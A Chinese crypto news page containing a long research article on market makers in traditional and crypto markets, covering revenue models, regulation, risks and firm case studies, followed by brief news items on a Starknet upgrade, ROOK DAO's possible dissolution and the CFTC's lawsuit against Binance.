2021 年 9 月，美国注册的合法做市商数量超过 500 家。这些做市商注册在 FINRA，并受其监管。据美国货币总局办公室（OCC），2012 年-2018 年美国商业银行控股公司合计交易总收入维持在 500 亿美元左右，尽管以 2018 年为代表的部分年份受二级市场行情拖累，交易收入同比有所下滑，但整体波动较小、呈现成长趋势。2019 年以来银行业交易收入进一步增长，2019、2020、2021 年美国银行控股公司合计总交易收入分别为 751.26、795.12、789.46 亿美元。做市商公司的规模或市场份额往往与其在该市场上提供流动性的程度有关，具体来说，做市商的市场份额可以通过以下几个指标进行衡量： 总之，做市商的市场份额是一个重要的指标，可以反映其在市场上的交易活跃度、流动性提供能力和交易效率等方面的表现。 较为著名的做市商公司有以下几家： 建立一家做市商公司需要具备高度的资金实力、技术能力和市场洞察力，同时需要满足金融监管机构的监管要求，且面对竞争激烈的市场环境和高度的风险管理压力，因此难度较高。 1.2.1 了解市场 做市商需要深入了解市场规则、流动性、交易品种和交易者的行为模式，以便做出正确的交易决策。他们需要了解市场中的趋势和机会，以便在市场中获得优势。了解市场的方法有以下几个： 1.2.2 建立技术平台 做市商公司需要一个高效、稳定的技术平台，能够支持实时交易和数据分析。该平台需要包括快速执行交易的算法、高速的数据传输和处理系统、以及安全的交易结算系统。具体来说，做市商公司需要具备以下 5 类技术： 1.2.3 确定资本需求 做市商公司需要大量的资本来支持其交易活动。你需要确定需要多少资本才能进入市场，并确定资本来源。以下是如何确定需要多少资本的方法： 综上所述，确定做市商需要多少资本需要考虑多种因素，并且需要根据不同市场的具体情况来进行分析和计算。需要注意的是，资本需求是一个动态的过程，需要根据市场变化和公司业务扩展来不断调整。 1.2.4 实施风险管理 做市商需要管理风险，以确保交易的安全性和稳定性。您需要制定风险管理策略，包括交易风险、流动性风险、市场风险和操作风险等。 市场风险管理是确保在不利的市场条件下仍能保持交易的正常运行。例如，做市商可以采用对冲策略、杠杆控制和交易限制等措施来管理市场风险。操作风险是为了保证交易过程中不会发生错误或失误。例如，做市商可以建立良好的交易流程和交易规则，并加强内部审计和监控等措施来管理操作风险。技术风险管理是为了确保交易系统的稳定和安全。例如，做市商可以采用备份和恢复策略、网络安全措施和数据加密等措施来管理技术风险。信用风险管理是确保交易过程中不会发生违约或不良资产损失等问题。例如，做市商可以采用信用评估和监控、保证金管理和风险控制等措施来管理信用风险。 在交易平台上，做市商通过双向报价（买入和卖出）来提供流动性，所以它的运作模式一般包括以下几个步骤： 图 2. 交易平台内做市商运作模式 在以上的运作模式下，其实存在两种驱动制度：报价驱动制度与指令驱动制度。报价驱动（Quote driven）制度是由做市商为投资者提供买卖双边报价进行对赌交易，通过报价的更新来引导成交价格发生变化。指令驱动（Order driven）制度又称竞价交易制度，投资者通过网络，把买卖指令传输到交易平台，交易平台的电脑主机根据时间优先、价格优先的原则，将买卖指令撮合成交，形成连续的成交价格。 做市商的盈利模式通常是从买卖差价中获得利润。做市商会在交易平台上同时报出买入和卖出两个价格，称为「双向报价」。当客户下单后，做市商会即时成交，然后以更高的价格卖出或更低的价格买入同一种证券，从中获得差价利润，这个差价通常称为 Spread 收益或者便利收入（Facilitation revenues）。做市商还可以通过高频交易、对冲、套利等方式进行盈利。其中，高频交易是指使用高速算法和自动化系统进行快速交易的一种交易策略。对冲是指用相反的交易来减少风险，套利则是指利用市场不同的价格来获得利润。除此之外，市商还有一种库存收入（Inventory revenues），库存收入反映做市商持有头寸时证券价值变动带来的损益和股利、利息等持有收益。 盈利水平通常取决于市场波动性、流动性和交易规模等因素。在市场稳定和流动性充足的情况下，做市商通常能够获得可观的盈利。 做市商的盈利还需要考虑交易成本，做市业务的成本主要包括三方面：买卖证券时支付的经纪佣金、清算费用等交易成本；为做市业务筹集资本的融资成本；为减少持有资产风险敞口而进行对冲带来的成本，以及无法清除的信用风险、交易方风险等风险成本。但由于做市商通常进行大量的交易，他们可以通过规模效应和高效的技术来降低交易成本，并从中获得盈利。 Spread 收益是做市商的主要收益。根据公开数据，大部分做市商的盈利情况相对稳定，但利润率并不高。 图 3. 做市商收入和成本账户示意图（来源：Committee on the Global Financial System，平安证券研究所） 1.5 监管和合规要求 做市商直接参与到证券市场的流动性和价格形成，其交易策略和行为可能会对市场产生影响，因此需要监管机构对其进行监管。监管可以有效地确保做市商公司遵守交易规则和市场秩序，防范市场操纵和不当交易行为，保障投资者的利益，维护市场的公正、透明和稳定。同时，监管还可以促进做市商公司的合规运营，加强风险管理和信息披露等方面的要求，提高市场的信心和透明度，降低市场波动性，促进市场的健康发展。因此，做市商受到监管的必要性不仅是为了保护投资者的利益，更是为了维护整个市场的健康运行。 这里主要考虑在美国的做市商机构受到的监管政策。在美国，做市商公司的监管是相对严格的。这些公司需要严格遵守证券交易委员会（SEC）和金融业监管局（FINRA）的监管要求，并遵守证券法规。此外，做市商公司还需遵守合规和反洗钱等方面的要求。监管机构对做市商公司的交易和业务进行严格的监管，包括对交易系统和算法的审核、对风控制度的检查和对数据保护的要求等。在监管方面，美国证券市场监管体系完善，对违规行为会有相应的处罚措施，因此做市商公司在日常运营中需要高度重视监管合规风险。具体部门和监管法律有以下： 做市商是一个随着证券市场逐渐成熟而发展起来的赛道，它在金融市场中发挥着重要的作用。随着金融市场的发展，做市商的市场需求还将持续存在。但是，现阶段已经发展较为成熟，市场也渐渐趋于饱和，新的机构很难再挤入这个赛道，所以越来越多的做市商团队以加密市场为其主要布局点。 总的来说，做市商赛道长期面临的挑战有以下几个方面： 机遇与挑战并存。随着全球金融市场的不断发展，证券市场交易的复杂性和规模不断扩大，做市商公司将有更多机会通过提供流动性服务和市场制造来参与市场，以此获得更高的利润。并且，在加密市场的快速发展下，做市商公司也可以通过提供加密资产的市场制造服务和流动性提供来获得更多的机会。同时，做市商公司可以通过开发和应用新的技术工具和算法来提高其市场制造能力，更好地适应市场需求，获得更多的市场份额。 加密行业的做市商与传统金融在本质上没有多大区别，都是为市场提供流动性，快速建仓和平仓，获得买卖价差。但是运作模式、技术、风险管理和监管上却有天壤之别。首先，在市场规模方面，加密市场相对于传统金融市场还比较小，加密行业市商规模也相对较小。其次，加密市场的流动性相对较低，波动较大，做市商需要更加谨慎做好风险管理；然后，在加密市场的做市商团队也称为庄家。因为加密市场的交易过程很难被监管，也没有严格的做市商制度来约束；最后一点是，在技术架构方面，加密行业需要具备更高的技术能力，保证交易的安全性。 加密市场的做市商起着重要的作用，包括：（1）为加密市场提供流动性和深度；（2）为市场提供稳定的价格，吸引更多的交易者。可以说做市商是让项目方、交易平台、投资人在加密市场上正常运转的关键一环。 加密市场做市商的发展可以分为 3 个阶段： 目前，加密做市商的服务不仅局限于交易平台，还逐渐扩展到了场外交易和去中心化交易平台等领域，为市场的发展和成熟提供了重要的支持和保障。 加密做市商的运作模式与传统金融做市商类似，主要是为加密货币市场提供流动性和市场深度，同时从中获取利润。加密做市商通常在多个交易平台进行交易，加密做市商的交易通常是自动化的，并且通过 API 接口与交易平台进行连接。在市场内，通过自己的资金和算法模型来提供报价，以吸引买方和卖方进行交易。一些加密做市商还会提供场外交易服务，允许大宗交易和定制化交易。由于加密市场的波动性和不确定性，加密做市商需要实时调整自己的市场策略，包括交易规模、报价范围和对冲风险等方面。 加密做市流程一般包括以下几个步骤： 图 4. 加密做市业务运作模式 除以上步骤，做市商还需要不断监测市场情况，包括市场流动性、竞争对手的行动以及市场风险等，以便及时调整自己的策略和报价。 2.2.1 做市策略 做市策略（market-maker strategy）是一种风险中立（risk-neutral）盘口价差套利策略，属于量化交易策略中的高频交易策略，遵循低买高卖原则。其基本原理是：在盘口的卖一和买一价之间，插入委买单和委卖单，如果插入的两个单子都成交的话，做市商就吃到了买卖单之间的价差，而整个过程结束后，做市商所持有的头寸并没有变化。如果买卖单之间的价差扣除各种交易手续费之后还有盈余，那么该做市商就获得了相应的盈利。常见的做市策略包括价差策略、对冲策略、量化交易策略等。 做市策略根据不同的市场，划分为现货做市和期货做市策略。现货做市策略有短期趋势判断、做市、再平衡和主循环四个模块。期货做市策略更为复杂，包括做市时机选择、净头寸处理、锁仓、移仓、对手盘减仓等复杂的逻辑。 2.2.2 场外交易 加密做市商提供场外交易服务的方式通常是通过与交易对手方建立联系，与其协商价格和交易细节。具体来说，加密做市商会在交易平台或其他场外渠道上发布其做市价格，等待交易对手方接受并进行交易。此外，加密做市商还可以利用自己的流动性池，在需要时向交易对手方提供实时报价和交易机会，以满足其流动性需求。同时，加密做市商还可以提供交易对手方的清算和结算服务，确保交易的顺利进行和资金安全。 加密做市商需要与传统做市商在技术上完全重合，但加密做市商需要掌握更多的技术，最重要的是区块链技术。加密货币交易基于区块链技术，因此加密做市商必须了解区块链技术及其在加密货币交易中的应用，以便理解交易的本质和技术细节。了解交易平台和钱包如何与区块链交互，以及如何识别和解决由于网络拥堵或其他问题导致的交易延迟等问题。 其次，对于加密行业来说，资产的安全性也是非常重要的。由于加密货币交易存在一定的安全风险，因此加密做市商需要掌握相关的安全技术，以保护交易系统的安全。具体技术包括多重签名技术、冷钱包存储、安全通信协议、交易监测和反欺诈技术、数据备份和恢复技术等。 其它技术不限于： 数字货币交易平台与做市商团队关系微妙。一些加密交易平台可能拥有自己的做市商团队，但也有许多交易平台选择与第三方做市商合作。交易平台与市商合作有两种形式： 做市商直接与加密交易平台进行合作，提供场内做市服务。交易平台很多时候会提供一些做市商的计划，需要这些团队配合，并提供交易接口，但这些都属于被动交易的接口，不能主动吃单。要想能主动报价并吃单，只能由交易平台内部做，直接或间接地嵌入交易平台撮合系统。 此时，做市商需要通过 API 接口获取交易平台的订单薄和市场深度等信息，然后使用自己的算法和交易策略进行市场定价和交易撮合。 交易平台需要给市商提供相关的模块接口，通常包括行情数据、下单退单、充值提醒等。 做市商通过其他中介机构或平台与加交易平台进行合作，提供场外做市服务。此时，做市商需要与中介机构或平台进行协商，确定合作方式和合作细节，并通过 API 接口或其他渠道获取交易平台的市场信息，然后进行场外交易。 需要注意的是，加密交易平台并不是必须使用做市商来提供流动性。有些交易平台可能采用其它方式来提高流动性，例如使用深度池或订单薄匹配引擎等技术。在与加密交易平台合作时，做市商需要与交易平台就合作细节、费用分配、交易量等方面进行协商，以确保合作顺利进行并获得可观的收益。同时，做市商需要严格遵守交易平台的规则和监管要求，以确保交易的合法合规性。 从交易机制分析，交易平台内部对接的做市商很大程度上参与了价格决定过程，一定程度上能够抑制妄图操纵币价的人，改善投资者和项目方预期，稳定市场情绪。 市商的存在对交易平台的流动性起到了促进作用。一个交易平台的流动性越高，用户的交易体验越好，用户粘性增强，交易平台也就能获得更多的利润，因此交易平台愿意给一些专门做市商的人予以返利。 在 2017 年、2018 年左右，大批新的交易平台上线，带领了「交易即挖矿」的概念，部分交易平台运营的初期甚至根据交易量返现 120% 用于吸引市商参与交易。 为了争取更多优秀的市商团队在交易平台进行做市，各大交易平台都有推出自己的服务方案。首先，交易平台本身需要有更多的服务产品，包括更多现货交易对和期货类型、保值类产品（低利率的借贷服务等）、提供更多的交易策略和算法服务。其次，合理且富有吸引力的返佣比例。最后，交易平台的风险管理和信誉是最重要的。这里列举一些交易平台的为市商提供的活动。 从以上活动列表能够看出，Gate 从 2021 年推出全球做市商计划后，不断有做市商大赛的活动来吸引做市团队。同时，也在不断调整做市费率和 GT 持仓。除此之外，为市商也提供一些服务，包括 0 息借贷额度。 做市商在现货、期货、期权市场都会参与，而且门槛也是越来越高。相应的，交易平台也会在不同的参与市场给予不同的特权。一般情况下，交易平台可以在以下项目在中给予市商优惠： 对于市商来说，手续费是特别关键的，尤其是高频交易过程。当然，在交易平台刚成立初期，很大可能会花钱请一些市商做市，尤其是期货、期权。 图 5. 做市商与参与者关系 在加密市场中，项目Token的流动性与产品、团队、运营处于同等重要的位置。项目方和做市商之间的关系主要是通过做市商为项目方提供流动性服务来建立的。项目方，尤其是新项目在 ICO 或者 IEO 阶段，需要做市商团队进行价格管理。做市商起到的作用有 3 点：（1）弥补市场流动性不足的缺点；（2）稳定币价，防止价格过高或过低导致项目失败；（3）市值管理，提高项目的市场认可度。这些工作交给专业的做市商团队，比项目团队自己运作需要的成本更低。 由于监管缺失，做市商可以通过在市场上买进和卖出，带动成交量。当然，这种「虚假」成交量可以吸引部分投资者的关注度。 项目方会选择一些知名的加密交易平台与做市商合作，以获得更好的流动性和更高的市场认可度，这需要项目方向做市商提供一定数量的Token作为初始流通。做市商同意在至少 90% 的合同期限内为订单簿提供活跃的流动性，作为交换，他们可以获得项目总Token供应量的 2-5%。对于做市商来说，与知名项目方合作可以提高其在市场中的知名度和声誉，有助于吸引更多的交易对进行交易。因此，在加密市场中，项目方和做市商之间的合作关系非常重要。 除了提供流动性之外，市商还会为项目方提供额外的服务，包括制定Token价格（尤其是 STG）策略以及帮助团队套现 与传统做市商一样，加密做市商也是通过买卖交易行为的价差获得利润。但是，在加密市场缺乏监管的情况下，这种价差可能会很大，市场波动性大，收益也会更加不稳定。 加密做市商还有两部分收益来源：（1）帮助项目方做市；（2）协助交易平台维持足够流动性和交易量。 其中，与项目方合作，市商的盈利模式通常为以下两种： 与交易平台合作，也有两种盈利模式： 随着做市商的数量越来越多，竞争性越强，为了赢得更多的市场，做市商会缩小报价价差，导致收益减少。 如何选择市商团队或者评价市商表现对加密市场参与者是十分重要的。评价做市团队的常用指标包括做市商的交易量和交易频率、报价的精度和稳定性、利润率和风险管理能力、市场份额和声誉。但是对交易平台、市场接受者、项目方而言，更看重的是做市商提供流动性的表现。流动性表现的参考指标包括报价深度、准确性、更新频率和成交效率。 简单的指标在各交易平台的做市商活动中会有列举，包括做市商委托量、买卖价差、报价、标识要求覆盖率、做市时间等。也有一些交易平台采用比较复杂的指数，比如权重深度乘数、流动性指数等。 加密做市商目前仍然处于监管的灰色地带，尚未在大多数国家和地区得到明确的法律和监管框架的支持。这意味着加密做市商通常不需要遵守传统金融市场中所规定的严格监管标准，也没有受到相应的监管机构的监管。不过，在某些国家和地区，监管机构已经开始探索如何监管加密做市商，以确保市场的透明度、公平性和稳定性。 加密市场做市商所涉及到的监管机构包括，美国的证券交易委员会（SEC）和商品期货交易委员会（CFTC）对加密市场有一定的监管职责，其中 SEC 负责监管加密资产的证券性质，CFTC 则监管加密衍生品合约等交易。此外，欧盟的金融市场监管机构 ESMA 也开始探索加密市场的监管框架，旨在确保加密市场的透明度和稳定性。 近些年，这些监管机构的案例有： 这些案例表明，监管机构已经开始对加密做市商的监管进行探索，并制定了一些相关的指导方针和监管框架。未来随着加密市场的不断发展，监管机构对加密做市商的监管也将越来越重要。 在合规性上，加密做市商同样需要遵守各种法规，各国存在差异，但一些常见的合规性要求包括： 此外，一些国家或地区可能还有其他的监管要求，例如税务、证券或期货等领域的法规等。 做市商在加密市场上面临着多重风险，包括： 做市资金风险：做市资金与传统金融做市类似，直白点，就是做市资金规模和资金流转效率决定了市商的级别。尤其是涉及到出入金，对做市来说就是第一个门槛。做市团队一般开户银行以 Silvergate bank 和 Signature bank 为主。但这两家加密友好银行最近面临破产危机，很多资金无法取款。这加大了未来机构入局加密领域的门槛。 为了应对以上风险，每个市商都会有一定的策略，比如在极端动荡市场中，更倾向于抽身而退。或者采用风险对冲的策略对头寸进行保值，依据存货模型、信息模型将风险转移到资产。 链下的风险一般是交易风险，如历史数据的完整性、策略模型设计上的缺陷、系统故障、风险控制缺失、过度拟合以及交易成本敏感性风险。 资产价格波动巨大的存货风险：如果标的资产的价格朝着单边方向发展，例如在上涨趋势里，卖单成交后买单没有成交，就会承担卖出价格上涨的风险。在下跌趋势里，买单成交后卖单没能完全成交，就会承担买入价格下跌的风险。 买卖指令下达频次和数量都具有随机性，也许会造成卖出单成交以后买入单还没有完全成交的风险。 交易平台bug，交易对出现问题，交易平台并没有开启保护措施。 加密市场的风险来源不仅仅是链下交易行为带来的风险，而更多可能出现的风险来自链上。首先，如果做市Token的智能合约存在漏洞，被黑客攻击，这样会造成市商存量资产受到损失。其次，加密做市商可能需要参与链上协议、DeFi 应用等，以提供流动性，链上的一切风险都会传导到每一位参与者头上。比如，协议所在公链出现分叉或者链上交易的速度变慢。 为了控制以上可能出现的风险，市商也会设定严格的策略与纪律。 注重交易质量而不是数量 做市商虽然能通过为交易平台提供流动性获取一定的佣金，但是过度交易往往浪费更多的时间和金钱，因此有效交易的关键是选择交易质量而非交易数量。这体现在三个方面：（1）选择好的资产标的；（2）选择信誉良好的交易平台；（3）分析市场，确定合适的交易策略。   4、加密做市商典型案例分析 近年来，随着加密货币市场的不断发展，加密做市商公司逐渐崛起。这些公司致力于提供流动性管理、价格发现和交易撮合等服务，以满足日益增长的加密货币交易需求。当前，全球范围内已有众多专业的加密做市商公司涌现，它们采用各种高效的技术和策略，为市场参与者提供多样化的交易服务，促进了加密货币市场的进一步发展和成熟。由于加密市场与传统金融还有很大差距，对市商来说，更容易形成垄断，加密货币的流动性被几家大型市商主导。这里包括 Jump、Wintermute、Amber Group、B2C2、DRW Trading。 Alameda Research 成立于 2018 年，总部位于美国加利福尼亚州。该公司由数学家 Samuel Bankman-Fried 创立。Samuel Bankman-Fried 曾在 Jane Street 工作，并在那里积累了大量的量化交易经验。除了在加密市场上进行做市和量化交易外，该公司还开发了一些加密货币交易工具和基础架构，如加密交易平台FTX 和 Solana 区块链上的加密交易协议 Serum。 FTX 暴雷事件后，是 Alameda Research 的破产，在 FTX 的做市团队遭遇到了很大的损失，从 Kaiko 的数据中可以看到 FTX 事件后，BTC 的挂单情况，表明流动性缺失。FTX 与 Alameda 的数字资产包括 FTT 和 SOL，这些Token的崩盘导致了 solana 链上所有Token的流动性紧缩和清算风险。 图 6. Kaiko BTC 交易平台流动性 4.2 Wintermute 与 DeFi 黑客攻击事件 Wintermute Trading 是一家总部位于伦敦的加密货币做市商。该公司成立于 2017 年，由 Evgeny Gaevoy 和 Harro Mantel 共同创立。Wintermute Trading 的主要业务是为加密货币交易平台、机构和个人提供流动性服务，同时也在一些加密货币衍生品市场提供做市服务。现阶段，Wintermute 以及与 50 多个加密货币交易平台达成合作关系。而且在各交易平台的交易量排行中处于领先。团队核心成员包括 图 7. Bitfinex 现货交易量排行 除了在加密货币市场上的业务，Wintermute Trading 还积极参与推动加密货币市场的发展和规范化。该公司是伦敦数字资产交易协会（LSTA）的成员之一，也是数字资产交易商协会（ADAM）的成员。在 2021 年 2 月，Wintermute 宣布完成了 2.5 千万美元的融资，投资者包括 Lightspeed Venture Partners 和 Pantera Capital 等。但由于熊市和黑客攻击的影响，Wintermute 在 2022 年的收入在 3 亿美元左右，远低于 2021 年 10 亿美元。 2022 年 9 月，由于 Wintermute 可能使用 Profanity 工具来创建靓号钱包，导致其 EOA 钱包被盗，损失 1.6 亿美元。 GSR Markets 从根本上说是一家属于香港的算法数字交易公司。它利用自己的软件为几种数字资产类别的订单执行解决方案，从而提供流动性。该公司部署了多种交易模型，与 30 多个流动性池相集成，其交易费用在市场上相对很低。 特点： 一流的领导力和来自世界一流的金融机构的强大技术与金融从业人员团队。 设计了直观的风险管理策略，专为那些难以管理的人设计。 其专有的交易技术可以根据交易需求进行修改。其销售和汇总策略会根据实时流动性和波动性进行调整，从而使投资者能够真正获得最佳价格。 最近，GSR 与各项目方频繁合作。包括 Stargate，Stargate 将向 GSR 提供 800 万枚 STG 的欧式期权，条件为 24 个月后 STG 均价超过 1.15 美元。在提案通过后，STG 在过去 14 天暴涨 36.2%。 参与链上做市行为都可以成为去中心化做市商，这里有三种形式：（1）参与去中心化交易平台DEX 的流动性提供者，又称为挖矿行为，门槛低，任何人都能参与，提供交易对的流动性，获得一定的奖励；（2）参与去中心化衍生品市场，类似 dydx 模式；（3）一些专门服务做市的 DeFi 协议，例如 Elixir，这些协议成为了 CLOB 和 AMM 模式的流动性分配工具。 DEX 里面一般采用自动做市商算法 AMM，任何人都能成为市商。它使用自动化算法来平衡交易池中Token的供需关系。AMM 的工作原理是允许流动性提供者将Token（通常等量）存入流动性池。然后，流动性池中Token的价格遵循一个公式，例如常量产品做市商算法 x*y = k，其中 x 和 y 是池中两个Token的数量，k 是一个常数。这导致池中Token的比例决定了价格，确保无论交易规模如何，池始终可以提供流动性，并且滑点量由交易规模与池大小相比决定。由于流动性池中的价格偏离全球市场价格，套利者将进入并将价格推回全球市场价格。各种协议迭代这个基本的 AMM 模型或引入新模型，比如 Curve、Balancer、Uniswap V3 等提供改进的性能，并扩展到衍生品。 但在 DEX 里面，也存在一定的风险，LP 需要承担智能合约本身的漏洞风险，流动性池被掏空，无偿损失问题等。DEFI 协议中，为了吸引 LP 和专业的市商团队，提供了不同的做市策略和流动性池以供选择，同时给出了更高的收益率。即使如此，我认为链上做市和中心化交易平台做市还是各有优缺点，彼此也无法取代。 另外要提到的就是专门的做市协议，这里以 Elixir 为例。Elixir 的用户主要有两个：（1）项目方；（2）想成为市商的用户。具体实现机制如下： 项目方在 Elixir 中可以无许可创建债券以获取流动性，这类似于 Olympus DAO 的机制。用户可以通过流动性池获得 LP Token，兑换成项目方的原生Token，以此建立Token的流动性。 为用户提供专门的做市策略，使每个人都能够参与到 CEX 和 DEX 中的做市活动中，这些做市协议在降低做市门槛的同时，也开辟了一个小众赛道。但由于做市策略、量化策略、风险管理策略都是在不同市场情况下经常调整和更新，所以 DeFi 的做市协议还需要时间验证，但对一些想要从市商业务中获取收益的用户来说，不失为一个好的方式。 目前，中心化市商无法以公开透明的方式与项目方合作，而且佣金高，但通过链上做市协议可以有效提高用户资金利用率，成为流动性提供者，通过合适的算法和策略，为项目方解决流动性问题，用户受益，项目方也能达到目的。但链上做市协议机制复杂、灵活性较差，可能难以应对市场风险。 加密货币市场的快速发展，促使加密货币做市商的需求不断增加，同时也催生了更多创新的技术和商业模式。加密做市商的未来发展趋势体现在以下几个方面： 加密货币市场具有许多独特的特征，在提供流动性时面临各种挑战。例如，加密市场 24/7/365 开放，提供自我托管能力，零售直接与交易平台互动（交易平台扮演经纪人、交易平台和托管人的角色），在 CEX 提供虚拟余额的即时「结算」，与 T+2 传统金融结算相比，在 DEX 提供链上交易的快速结算，并使用稳定币促进交易，考虑到 BTC 的波动性和仍然笨拙的法定货币到加密货币的转换。此外，加密市场在很大程度上仍然不受监管，导致价格操纵的可能性，并且继续高度分散，流动性在许多链上和链下场所分叉。此外，交易场所技术仍在不断发展，因为交易平台的 API 连接质量参差不齐，并且在市场活跃度高的时候会周期性下降。最后，加密衍生品市场仍在不断发展，与传统金融市场相比，衍生品相对于现货要小得多。这些特征在提供流动性方面带来了各种挑战，包括市场碎片化/互操作性、资本效率低下、监管不确定性以及仍在改进的交换技术/连通性。 总之，随着加密货币市场的不断发展和变化，做市商需要不断调整自身的战略和业务模式，以更好地适应市场的变化和需求。同时，做市商也需要加强与其他市场参与者的合作和交流，以共同推动市场的发展和壮大。 无论是传统行业还是加密市场，做市商需要永远置身于市场之中，才能手握「价差」进行交易，所以不同的市场意味着更多的盈利机会。加密做市商在未来也会呈现一些传统金融做市商的发展特点：（1）做市参与者逐渐多元化，包括综合大型投行、电子交易平台等。（2）做市品种多元化，包括各类现货、衍生品等。尤其是加密衍生品市场在不断发展。（3）业务杠杆高，以现货和衍生品交易为代表的做市业务是典型的资本消耗型业务，投行大多使用杠杆资金扩大业务规模，因此做市业务杠杆倍数往往高于其他业务。这往往会催生其它加密借贷业务，也提升了整个行业的风险水平。（4）市商头部效应越发明显，头部机构人才储备充足、资本实力雄厚、客户资源丰富、定价能力优秀、资产规模较大，可以通过分散资产组合、使用对冲工具等方式降低风险成本，因此头部机构在做市业务方面更具优势。 虽然加密做市商的规模在不断扩大，竞争也越来越激烈，但实际上，加密做市商的技术壁垒相对较高，承担的风险较大。尤其 FTX 暴雷事件，Cumberland、GSR、Wintermute、Jump、folkvang、Nibbio 这些市商在 FTX 有头寸。同时，最近 Silvergate 银行的暴雷风险，对市商来说产生多大的影响还犹未可知。由此可以说明，资金的流动效率对市商特别重要。 作为交易者，我们也需要去识别做市商是否与项目方进行合作，以正确判断Token价格走势，这个可以从Token价格和交易量上发现端倪。 去中心化做市商协议，包括 DEX 等，也在不断地争取一些做市团队参与链上的活动。在我看来，订单簿形式能满足做市团队的多样交易策略，而 AMM 形式存在一定的局限性，且不好把控。如果有较大的收益优势，做市团队会用一部分资金参与链上做市。但我认为还是不会威胁到中心化交易平台的地位。当然，也不能忽略一些创新的 DeFi 协议带来的影响力。值得关注的是，一些市商已经开始探索在 NFT 领域做市。他们也在探索更多的链上产品或者有二级交易市场的衍生品做市。 但是，这里不排除一个隐患。类似于 Alameda，更多大型做市商机构可能会主动下场，自己孵化链上协议，或是 DEX 或是借贷，比如 Wintermute 孵化的 DEX Bebop。他们提供的雄厚资金对协议本身会起到促进作用，但也对整个市场带来风险。 市商作为交易环节中的重要角色，并且其盈利能力在牛熊周期中都能有很大的发挥空间。在做市商赛道上，可以重点看以下投资方向： 中心化的小型市商策略或服务类项目，这类项目为做市商提供工具、数据、定制化策略类服务。 解决互操作性问题：由于公链和 Layer2 的发展，目前呈现出一个多链世界，这导致流动性割裂。一个潜在的解决方案是第二层中间件提供商，它可以与不同的链进行无信任的交互，以在许多流动性来源中找到最有效的交易路线。 CeDeFi：CeFi 和 DeFi 之间的界限可能会合并，包括流动性供应。  ( 8 min )
    Starknet主网将于本周进行Alpha v0.11.0升级
    PANews 3月28日消息，Starknet基金会在推特上表示，以太坊Layer2扩容解决方案Starknet的主网Alpha v0.11.0升级提案已获得投票通过，该升级现在定于本周进行。 此前3月22日消息，Starknet已在测试网上发布Alpha v0.11.0版本，Cairo 1.0已启动。  ( 4 min )
    利益冲突、项目停滞，ROOK DAO要解散？
    编译：Felix, PANews 参考来源：Ignas | DeFi Research、Coindesk ROOK DAO正在讨论解散DAO。用户对项目停滞和缺乏透明度表示担忧。这个提案是将DAO国库资产分配给ROOK持有人，并可能会产生250%的回报。Rook协议通过在应用层管理MEV，帮助保护用户和去中心化应用免受MEV的负面影响。它是由一个DAO拥有和管理的社区。 根据@0xWismerhill的提案，管理团队和ROOK代币持有者之间的利益不一致，体现在协议增长缓慢和把关机制的缺陷。例如，当前的团队正在否决并控制不符合他们目的的社区主导的提案。   该提案打算解散DAO，并将ROOK的治理国库（每个代币约51美元）按比例分配给ROOK治理代币持有者，提案给到了几个原因： 第一，治理机制将代币持有者排除在治理流程之外，以确保管理团队的权力。 第二，领导层未能实现协议的增长，并且有牟利的嫌疑。交易量在6个月内下降了约78%。22个DAO贡献者每年花费610万美元（每个贡献者30万美元），只有10%的薪酬是用ROOK代币支付的，因为ROOK价格正在下降。（注：22个DAO贡献者在确保他们收到足够的ROOK代币来参与每次的治理投票后，他们决定通过增加稳定币的补偿比例来最大化个人回报） 此外，该项目目前的估值低于1700万美元，与DAO的4400万美元的治理代币控制储备相比，折价了61%。虽然自提案提交以来，ROOK代币上涨了27%。但ROOK代币持有者却产生了经济损失，因为他们无法阻止资产从国库转移到管理团队。   第三，管理团队没有公开的路线图或目标。在一次治理电话会议中，首席执行官Hazar) 解释说，是因为受到order flow（即订单流，主力足迹，可以识别市场中供求的不平衡）供应商（即ROOK协议的客户）意愿的影响，这些客户不愿意公布路线图。   第四，项目治理缺乏相应的透明度。在治理电话会议中，Hazard也承认DAO在运营活动中缺乏知晓和发言权。他将其归咎于想使用ROOK在以太坊上捕获交易价值的某些大型项目:“正是这些项目的限制，才导致ROOK DAO能了解并参与治理的事项少之又少。”此外在领导层人员的透明度上，Hazard认为：“很难将个人信息用于公共治理。” 第五， Hazard淡化了代币的重要性。基于ROOK的产出，Hazard警告投机者不要指望ROOK的价格表现。这让人想起了2年前Andre Cronje关于”DeFi建设很糟糕“的讨论。   本文并不想传播FUD（恐惧、不确定和怀疑），但这个提议可能不仅对ROOK代币持有者有重大影响，而且对整个DeFi市场也有重大影响。 而且这不是第一次解散DAO。去年，FEI Protocol DAO也因宏观环境的恶化和监管风险而投票关闭。（相关阅读：Fei Protocol的大败局：含金汤匙出生到因合并走向落幕）  ( 4 min )
    7 个细节快速了解：CFTC 为何起诉 Binance？
    原文来源 | The Block 原文编译 | 白泽研究院 商品期货交易委员会（CFTC）周一向美国联邦法院对加密货币交易平台 Binance、其创始人兼首席执行官赵长鹏“CZ”和首席合规官 Samuel Lim 提起诉讼，因Binance 违反了美国有关商品的几项法律和法规，包括未能打击其平台上的洗钱活动。虽然该诉讼主要集中在未在美国注册商品交易的指控上，但可能对 Binance 和加密资产行业产生更广泛的影响。 作为其诉讼的一部分，CFTC 希望获得禁令，以有效地禁止 Binance 及其附属公司以及 CZ 和 Lim 进入美国大宗商品行业，并上缴利润。 作为对 CFTC的回应， CZ 不同意指控，随后在 Binance 的网站上发表声明予以驳斥。 币安发言人在另一份声明中表示：“CFTC 提出的投诉出乎意料且令人失望，因为我们已经与 CFTC 合作了两年多。我们在过去两年中进行了大量投资，以确保我们的平台上没有活跃的美国用户，包括将合规工作人员从大约 100 名增加到今天的 750 名。” 美国证券交易委员会（SEC）正在调查一种名为 Binance USD（BUSD）的稳定币，该产品由 Binance 与加密货币服务提供商Paxos 合作开发。目前尚不清楚 SEC 是否会提出自己的指控。 美国司法部也可能会对 Binance 提出刑事指控。一位了解 CFTC 调查的人士指出，Binance 也是美国司法部审查的对象。 以下是 CFTC 对 Binance 提起的诉讼的七项主要内容。 CFTC 的文件中包含了一些对 Binance 最具破坏性的指控：Binance 可能故意为有组织犯罪和恐怖组织的交易提供便利。CFTC 引用了 Binance 的内部聊天记录，其中包括当时的首席合规官 Lim 和一名洗钱报告官的对话。 “Binance 的管理人员和员工承认，该平台为潜在的非法活动提供了便利，”报告称。 “例如，2019 年 2 月，在收到关于 Binance 上‘关于 HAMAS 交易’的信息后，Lim 向一位同事解释说，恐怖分子通常发送‘小额资金’，因为‘大额资金构成了洗钱’。” 洗钱报告官回答道：“600 美元勉强能买一把 AK47。” 